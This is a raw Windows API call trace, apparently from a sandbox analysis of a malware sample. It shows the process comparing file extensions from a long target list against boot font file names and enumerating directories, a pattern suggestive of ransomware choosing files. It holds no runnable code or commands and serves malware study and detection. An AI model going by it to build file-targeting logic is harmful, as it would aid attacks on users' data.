	[0167.494] lstrcmpiW (lpString1=".geo", lpString2=".ttf") returned -1
	[0167.494] lstrlenW (lpString=".gif") returned 4
	[0167.494] lstrcmpiW (lpString1=".gif", lpString2=".ttf") returned -1
	[0167.494] lstrlenW (lpString=".grs") returned 4
	[0167.494] lstrcmpiW (lpString1=".grs", lpString2=".ttf") returned -1
	[0167.494] lstrlenW (lpString=".gz") returned 3
	[0167.495] lstrcmpiW (lpString1=".gz", lpString2="ttf") returned -1
	[0167.495] lstrlenW (lpString=".h") returned 2
	[0167.495] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0167.495] lstrlenW (lpString=".hdr") returned 4
	[0167.495] lstrcmpiW (lpString1=".hdr", lpString2=".ttf") returned -1
	[0167.495] lstrlenW (lpString=".hpp") returned 4
	[0167.495] lstrcmpiW (lpString1=".hpp", lpString2=".ttf") returned -1
	[0167.495] lstrlenW (lpString=".hta") returned 4
	[0167.495] lstrcmpiW (lpString1=".hta", lpString2=".ttf") returned -1
	[0167.495] lstrlenW (lpString=".htc") returned 4
	[0167.495] lstrcmpiW (lpString1=".htc", lpString2=".ttf") returned -1
	[0167.495] lstrlenW (lpString=".htm") returned 4
	[0167.495] lstrcmpiW (lpString1=".htm", lpString2=".ttf") returned -1
	[0167.495] lstrlenW (lpString=".html") returned 5
	[0167.495] lstrcmpiW (lpString1=".html", lpString2="t.ttf") returned -1
	[0167.495] lstrlenW (lpString=".icb") returned 4
	[0167.495] lstrcmpiW (lpString1=".icb", lpString2=".ttf") returned -1
	[0167.495] lstrlenW (lpString=".ics") returned 4
	[0167.495] lstrcmpiW (lpString1=".ics", lpString2=".ttf") returned -1
	[0167.495] lstrlenW (lpString=".iff") returned 4
	[0167.495] lstrcmpiW (lpString1=".iff", lpString2=".ttf") returned -1
	[0167.495] lstrlenW (lpString=".inc") returned 4
	[0167.495] lstrcmpiW (lpString1=".inc", lpString2=".ttf") returned -1
	[0167.495] lstrlenW (lpString=".indd") returned 5
	[0167.495] lstrcmpiW (lpString1=".indd", lpString2="t.ttf") returned -1
	[0167.495] lstrlenW (lpString=".ini") returned 4
	[0167.495] lstrcmpiW (lpString1=".ini", lpString2=".ttf") returned -1
	[0167.495] lstrlenW (lpString=".iqy") returned 4
	[0167.495] lstrcmpiW (lpString1=".iqy", lpString2=".ttf") returned -1
	[0167.495] lstrlenW (lpString=".j2c") returned 4
	[0167.495] lstrcmpiW (lpString1=".j2c", lpString2=".ttf") returned -1
	[0167.495] lstrlenW (lpString=".j2k") returned 4
	[0167.496] lstrcmpiW (lpString1=".j2k", lpString2=".ttf") returned -1
	[0167.496] lstrlenW (lpString=".java") returned 5
	[0167.496] lstrcmpiW (lpString1=".java", lpString2="t.ttf") returned -1
	[0167.496] lstrlenW (lpString=".jp2") returned 4
	[0167.496] lstrcmpiW (lpString1=".jp2", lpString2=".ttf") returned -1
	[0167.496] lstrlenW (lpString=".jpc") returned 4
	[0167.496] lstrcmpiW (lpString1=".jpc", lpString2=".ttf") returned -1
	[0167.496] lstrlenW (lpString=".jpe") returned 4
	[0167.496] lstrcmpiW (lpString1=".jpe", lpString2=".ttf") returned -1
	[0167.496] lstrlenW (lpString=".jpeg") returned 5
	[0167.496] lstrcmpiW (lpString1=".jpeg", lpString2="t.ttf") returned -1
	[0167.496] lstrlenW (lpString=".jpf") returned 4
	[0167.496] lstrcmpiW (lpString1=".jpf", lpString2=".ttf") returned -1
	[0167.496] lstrlenW (lpString=".jpg") returned 4
	[0167.496] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0167.496] lstrlenW (lpString=".jpx") returned 4
	[0167.496] lstrcmpiW (lpString1=".jpx", lpString2=".ttf") returned -1
	[0167.496] lstrlenW (lpString=".js") returned 3
	[0167.496] lstrcmpiW (lpString1=".js", lpString2="ttf") returned -1
	[0167.496] lstrlenW (lpString=".jsf") returned 4
	[0167.496] lstrcmpiW (lpString1=".jsf", lpString2=".ttf") returned -1
	[0167.496] lstrlenW (lpString=".json") returned 5
	[0167.496] lstrcmpiW (lpString1=".json", lpString2="t.ttf") returned -1
	[0167.496] lstrlenW (lpString=".jsp") returned 4
	[0167.496] lstrcmpiW (lpString1=".jsp", lpString2=".ttf") returned -1
	[0167.496] lstrlenW (lpString=".kdc") returned 4
	[0167.496] lstrcmpiW (lpString1=".kdc", lpString2=".ttf") returned -1
	[0167.496] lstrlenW (lpString=".kmz") returned 4
	[0167.496] lstrcmpiW (lpString1=".kmz", lpString2=".ttf") returned -1
	[0167.496] lstrlenW (lpString=".kwm") returned 4
	[0167.496] lstrcmpiW (lpString1=".kwm", lpString2=".ttf") returned -1
	[0167.496] lstrlenW (lpString=".lasso") returned 6
	[0167.496] lstrcmpiW (lpString1=".lasso", lpString2="ot.ttf") returned -1
	[0167.497] lstrlenW (lpString=".lbi") returned 4
	[0167.497] lstrcmpiW (lpString1=".lbi", lpString2=".ttf") returned -1
	[0167.497] lstrlenW (lpString=".lgf") returned 4
	[0167.497] lstrcmpiW (lpString1=".lgf", lpString2=".ttf") returned -1
	[0167.497] lstrlenW (lpString=".lgp") returned 4
	[0167.497] lstrcmpiW (lpString1=".lgp", lpString2=".ttf") returned -1
	[0167.497] lstrlenW (lpString=".log") returned 4
	[0167.497] lstrcmpiW (lpString1=".log", lpString2=".ttf") returned -1
	[0167.497] lstrlenW (lpString=".m1v") returned 4
	[0167.497] lstrcmpiW (lpString1=".m1v", lpString2=".ttf") returned -1
	[0167.497] lstrlenW (lpString=".m4a") returned 4
	[0167.497] lstrcmpiW (lpString1=".m4a", lpString2=".ttf") returned -1
	[0167.497] lstrlenW (lpString=".m4v") returned 4
	[0167.497] lstrcmpiW (lpString1=".m4v", lpString2=".ttf") returned -1
	[0167.497] lstrlenW (lpString=".max") returned 4
	[0167.497] lstrcmpiW (lpString1=".max", lpString2=".ttf") returned -1
	[0167.497] lstrlenW (lpString=".md") returned 3
	[0167.497] lstrcmpiW (lpString1=".md", lpString2="ttf") returned -1
	[0167.497] lstrlenW (lpString=".mda") returned 4
	[0167.497] lstrcmpiW (lpString1=".mda", lpString2=".ttf") returned -1
	[0167.497] lstrlenW (lpString=".mdb") returned 4
	[0167.497] lstrcmpiW (lpString1=".mdb", lpString2=".ttf") returned -1
	[0167.497] lstrlenW (lpString=".mde") returned 4
	[0167.497] lstrcmpiW (lpString1=".mde", lpString2=".ttf") returned -1
	[0167.497] lstrlenW (lpString=".mdf") returned 4
	[0167.497] lstrcmpiW (lpString1=".mdf", lpString2=".ttf") returned -1
	[0167.497] lstrlenW (lpString=".mdw") returned 4
	[0167.497] lstrcmpiW (lpString1=".mdw", lpString2=".ttf") returned -1
	[0167.497] lstrlenW (lpString=".mef") returned 4
	[0167.497] lstrcmpiW (lpString1=".mef", lpString2=".ttf") returned -1
	[0167.497] lstrlenW (lpString=".mft") returned 4
	[0167.497] lstrcmpiW (lpString1=".mft", lpString2=".ttf") returned -1
	[0167.497] lstrlenW (lpString=".mfw") returned 4
	[0167.498] lstrcmpiW (lpString1=".mfw", lpString2=".ttf") returned -1
	[0167.498] lstrlenW (lpString=".mht") returned 4
	[0167.498] lstrcmpiW (lpString1=".mht", lpString2=".ttf") returned -1
	[0167.498] lstrlenW (lpString=".mhtml") returned 6
	[0167.498] lstrcmpiW (lpString1=".mhtml", lpString2="ot.ttf") returned -1
	[0167.498] lstrlenW (lpString=".mka") returned 4
	[0167.498] lstrcmpiW (lpString1=".mka", lpString2=".ttf") returned -1
	[0167.498] lstrlenW (lpString=".mkidx") returned 6
	[0167.498] lstrcmpiW (lpString1=".mkidx", lpString2="ot.ttf") returned -1
	[0167.498] lstrlenW (lpString=".mkv") returned 4
	[0167.498] lstrcmpiW (lpString1=".mkv", lpString2=".ttf") returned -1
	[0167.498] lstrlenW (lpString=".mos") returned 4
	[0167.498] lstrcmpiW (lpString1=".mos", lpString2=".ttf") returned -1
	[0167.498] lstrlenW (lpString=".mov") returned 4
	[0167.498] lstrcmpiW (lpString1=".mov", lpString2=".ttf") returned -1
	[0167.498] lstrlenW (lpString=".mp3") returned 4
	[0167.498] lstrcmpiW (lpString1=".mp3", lpString2=".ttf") returned -1
	[0167.498] lstrlenW (lpString=".mp4") returned 4
	[0167.498] lstrcmpiW (lpString1=".mp4", lpString2=".ttf") returned -1
	[0167.498] lstrlenW (lpString=".mpeg") returned 5
	[0167.498] lstrcmpiW (lpString1=".mpeg", lpString2="t.ttf") returned -1
	[0167.498] lstrlenW (lpString=".mpg") returned 4
	[0167.498] lstrcmpiW (lpString1=".mpg", lpString2=".ttf") returned -1
	[0167.498] lstrlenW (lpString=".mpv") returned 4
	[0167.498] lstrcmpiW (lpString1=".mpv", lpString2=".ttf") returned -1
	[0167.498] lstrlenW (lpString=".mrw") returned 4
	[0167.498] lstrcmpiW (lpString1=".mrw", lpString2=".ttf") returned -1
	[0167.498] lstrlenW (lpString=".msg") returned 4
	[0167.498] lstrcmpiW (lpString1=".msg", lpString2=".ttf") returned -1
	[0167.498] lstrlenW (lpString=".mxl") returned 4
	[0167.498] lstrcmpiW (lpString1=".mxl", lpString2=".ttf") returned -1
	[0167.498] lstrlenW (lpString=".myd") returned 4
	[0167.498] lstrcmpiW (lpString1=".myd", lpString2=".ttf") returned -1
	[0167.499] lstrlenW (lpString=".myi") returned 4
	[0167.499] lstrcmpiW (lpString1=".myi", lpString2=".ttf") returned -1
	[0167.499] lstrlenW (lpString=".nef") returned 4
	[0167.499] lstrcmpiW (lpString1=".nef", lpString2=".ttf") returned -1
	[0167.499] lstrlenW (lpString=".nrw") returned 4
	[0167.499] lstrcmpiW (lpString1=".nrw", lpString2=".ttf") returned -1
	[0167.499] lstrlenW (lpString=".obj") returned 4
	[0167.499] lstrcmpiW (lpString1=".obj", lpString2=".ttf") returned -1
	[0167.499] lstrlenW (lpString=".odb") returned 4
	[0167.499] lstrcmpiW (lpString1=".odb", lpString2=".ttf") returned -1
	[0167.499] lstrlenW (lpString=".odc") returned 4
	[0167.499] lstrcmpiW (lpString1=".odc", lpString2=".ttf") returned -1
	[0167.499] lstrlenW (lpString=".odm") returned 4
	[0167.499] lstrcmpiW (lpString1=".odm", lpString2=".ttf") returned -1
	[0167.499] lstrlenW (lpString=".odp") returned 4
	[0167.499] lstrcmpiW (lpString1=".odp", lpString2=".ttf") returned -1
	[0167.499] lstrlenW (lpString=".ods") returned 4
	[0167.499] lstrcmpiW (lpString1=".ods", lpString2=".ttf") returned -1
	[0167.499] lstrlenW (lpString=".oft") returned 4
	[0167.499] lstrcmpiW (lpString1=".oft", lpString2=".ttf") returned -1
	[0167.499] lstrlenW (lpString=".one") returned 4
	[0167.499] lstrcmpiW (lpString1=".one", lpString2=".ttf") returned -1
	[0167.499] lstrlenW (lpString=".onepkg") returned 7
	[0167.499] lstrcmpiW (lpString1=".onepkg", lpString2="oot.ttf") returned -1
	[0167.499] lstrlenW (lpString=".onetoc2") returned 8
	[0167.499] lstrcmpiW (lpString1=".onetoc2", lpString2="boot.ttf") returned -1
	[0167.499] lstrlenW (lpString=".opt") returned 4
	[0167.499] lstrcmpiW (lpString1=".opt", lpString2=".ttf") returned -1
	[0167.499] lstrlenW (lpString=".oqy") returned 4
	[0167.499] lstrcmpiW (lpString1=".oqy", lpString2=".ttf") returned -1
	[0167.499] lstrlenW (lpString=".orf") returned 4
	[0167.499] lstrcmpiW (lpString1=".orf", lpString2=".ttf") returned -1
	[0167.500] lstrlenW (lpString=".p12") returned 4
	[0167.500] lstrcmpiW (lpString1=".p12", lpString2=".ttf") returned -1
	[0167.500] lstrlenW (lpString=".p7b") returned 4
	[0167.500] lstrcmpiW (lpString1=".p7b", lpString2=".ttf") returned -1
	[0167.500] lstrlenW (lpString=".p7c") returned 4
	[0167.500] lstrcmpiW (lpString1=".p7c", lpString2=".ttf") returned -1
	[0167.500] lstrlenW (lpString=".pam") returned 4
	[0167.500] lstrcmpiW (lpString1=".pam", lpString2=".ttf") returned -1
	[0167.500] lstrlenW (lpString=".pbm") returned 4
	[0167.500] lstrcmpiW (lpString1=".pbm", lpString2=".ttf") returned -1
	[0167.500] lstrlenW (lpString=".pct") returned 4
	[0167.500] lstrcmpiW (lpString1=".pct", lpString2=".ttf") returned -1
	[0167.500] lstrlenW (lpString=".pcx") returned 4
	[0167.500] lstrcmpiW (lpString1=".pcx", lpString2=".ttf") returned -1
	[0167.500] lstrlenW (lpString=".pdd") returned 4
	[0167.500] lstrcmpiW (lpString1=".pdd", lpString2=".ttf") returned -1
	[0167.500] lstrlenW (lpString=".pdf") returned 4
	[0167.500] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0167.500] lstrlenW (lpString=".pdp") returned 4
	[0167.500] lstrcmpiW (lpString1=".pdp", lpString2=".ttf") returned -1
	[0167.500] lstrlenW (lpString=".pef") returned 4
	[0167.500] lstrcmpiW (lpString1=".pef", lpString2=".ttf") returned -1
	[0167.500] lstrlenW (lpString=".pem") returned 4
	[0167.500] lstrcmpiW (lpString1=".pem", lpString2=".ttf") returned -1
	[0167.500] lstrlenW (lpString=".pff") returned 4
	[0167.500] lstrcmpiW (lpString1=".pff", lpString2=".ttf") returned -1
	[0167.500] lstrlenW (lpString=".pfm") returned 4
	[0167.500] lstrcmpiW (lpString1=".pfm", lpString2=".ttf") returned -1
	[0167.500] lstrlenW (lpString=".pfx") returned 4
	[0167.500] lstrcmpiW (lpString1=".pfx", lpString2=".ttf") returned -1
	[0167.500] lstrlenW (lpString=".pgm") returned 4
	[0167.501] lstrcmpiW (lpString1=".pgm", lpString2=".ttf") returned -1
	[0167.501] lstrlenW (lpString=".php") returned 4
	[0167.501] lstrcmpiW (lpString1=".php", lpString2=".ttf") returned -1
	[0167.501] lstrlenW (lpString=".php3") returned 5
	[0167.501] lstrcmpiW (lpString1=".php3", lpString2="t.ttf") returned -1
	[0167.501] lstrlenW (lpString=".php4") returned 5
	[0167.501] lstrcmpiW (lpString1=".php4", lpString2="t.ttf") returned -1
	[0167.501] lstrlenW (lpString=".php5") returned 5
	[0167.501] lstrcmpiW (lpString1=".php5", lpString2="t.ttf") returned -1
	[0167.501] lstrlenW (lpString=".phtml") returned 6
	[0167.501] lstrcmpiW (lpString1=".phtml", lpString2="ot.ttf") returned -1
	[0167.501] lstrlenW (lpString=".pict") returned 5
	[0167.501] lstrcmpiW (lpString1=".pict", lpString2="t.ttf") returned -1
	[0167.501] lstrlenW (lpString=".pl") returned 3
	[0167.501] lstrcmpiW (lpString1=".pl", lpString2="ttf") returned -1
	[0167.501] lstrlenW (lpString=".pls") returned 4
	[0167.501] lstrcmpiW (lpString1=".pls", lpString2=".ttf") returned -1
	[0167.501] lstrlenW (lpString=".pm") returned 3
	[0167.501] lstrcmpiW (lpString1=".pm", lpString2="ttf") returned -1
	[0167.501] lstrlenW (lpString=".png") returned 4
	[0167.501] lstrcmpiW (lpString1=".png", lpString2=".ttf") returned -1
	[0167.501] lstrlenW (lpString=".pnm") returned 4
	[0167.501] lstrcmpiW (lpString1=".pnm", lpString2=".ttf") returned -1
	[0167.501] lstrlenW (lpString=".pot") returned 4
	[0167.501] lstrcmpiW (lpString1=".pot", lpString2=".ttf") returned -1
	[0167.501] lstrlenW (lpString=".potm") returned 5
	[0167.501] lstrcmpiW (lpString1=".potm", lpString2="t.ttf") returned -1
	[0167.501] lstrlenW (lpString=".potx") returned 5
	[0167.501] lstrcmpiW (lpString1=".potx", lpString2="t.ttf") returned -1
	[0167.501] lstrlenW (lpString=".ppa") returned 4
	[0167.501] lstrcmpiW (lpString1=".ppa", lpString2=".ttf") returned -1
	[0167.502] lstrlenW (lpString=".ppam") returned 5
	[0167.502] lstrcmpiW (lpString1=".ppam", lpString2="t.ttf") returned -1
	[0167.502] lstrlenW (lpString=".ppm") returned 4
	[0167.502] lstrcmpiW (lpString1=".ppm", lpString2=".ttf") returned -1
	[0167.502] lstrlenW (lpString=".pps") returned 4
	[0167.502] lstrcmpiW (lpString1=".pps", lpString2=".ttf") returned -1
	[0167.502] lstrlenW (lpString=".ppsm") returned 5
	[0167.502] lstrcmpiW (lpString1=".ppsm", lpString2="t.ttf") returned -1
	[0167.502] lstrlenW (lpString=".ppt") returned 4
	[0167.502] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0167.502] lstrlenW (lpString=".pptm") returned 5
	[0167.502] lstrcmpiW (lpString1=".pptm", lpString2="t.ttf") returned -1
	[0167.502] lstrlenW (lpString=".pptx") returned 5
	[0167.502] lstrcmpiW (lpString1=".pptx", lpString2="t.ttf") returned -1
	[0167.502] lstrlenW (lpString=".prn") returned 4
	[0167.502] lstrcmpiW (lpString1=".prn", lpString2=".ttf") returned -1
	[0167.502] lstrlenW (lpString=".ps") returned 3
	[0167.502] lstrcmpiW (lpString1=".ps", lpString2="ttf") returned -1
	[0167.502] lstrlenW (lpString=".psb") returned 4
	[0167.502] lstrcmpiW (lpString1=".psb", lpString2=".ttf") returned -1
	[0167.502] lstrlenW (lpString=".psd") returned 4
	[0167.502] lstrcmpiW (lpString1=".psd", lpString2=".ttf") returned -1
	[0167.502] lstrlenW (lpString=".pst") returned 4
	[0167.502] lstrcmpiW (lpString1=".pst", lpString2=".ttf") returned -1
	[0167.502] lstrlenW (lpString=".ptx") returned 4
	[0167.502] lstrcmpiW (lpString1=".ptx", lpString2=".ttf") returned -1
	[0167.502] lstrlenW (lpString=".pub") returned 4
	[0167.502] lstrcmpiW (lpString1=".pub", lpString2=".ttf") returned -1
	[0167.502] lstrlenW (lpString=".pwm") returned 4
	[0167.502] lstrcmpiW (lpString1=".pwm", lpString2=".ttf") returned -1
	[0167.502] lstrlenW (lpString=".pxr") returned 4
	[0167.502] lstrcmpiW (lpString1=".pxr", lpString2=".ttf") returned -1
	[0167.502] lstrlenW (lpString=".py") returned 3
	[0167.503] lstrcmpiW (lpString1=".py", lpString2="ttf") returned -1
	[0167.503] lstrlenW (lpString=".qt") returned 3
	[0167.503] lstrcmpiW (lpString1=".qt", lpString2="ttf") returned -1
	[0167.503] lstrlenW (lpString=".r3d") returned 4
	[0167.503] lstrcmpiW (lpString1=".r3d", lpString2=".ttf") returned -1
	[0167.503] lstrlenW (lpString=".raf") returned 4
	[0167.503] lstrcmpiW (lpString1=".raf", lpString2=".ttf") returned -1
	[0167.503] lstrlenW (lpString=".rar") returned 4
	[0167.503] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0167.503] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1
	[0167.503] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1
	[0167.503] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1
	[0167.503] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1
	[0167.504] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1
	[0167.504] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1
	[0167.504] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1
	[0167.504] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1
	[0167.504] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1
	[0167.504] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1
	[0167.505] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1
	[0167.505] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="segmono_boot.ttf", cAlternateFileName="SEGMON~1.TTF")) returned 1
	[0167.505] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoen_slboot.ttf", cAlternateFileName="SEGOEN~1.TTF")) returned 1
	[0167.505] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoe_slboot.ttf", cAlternateFileName="SEGOE_~1.TTF")) returned 1
	[0167.506] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1
	[0167.506] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0
	[0167.506] FindClose (in: hFindFile=0x6abe98 | out: hFindFile=0x6abe98) returned 1
	[0167.507] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.507] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-CA", cAlternateFileName="")) returned 1
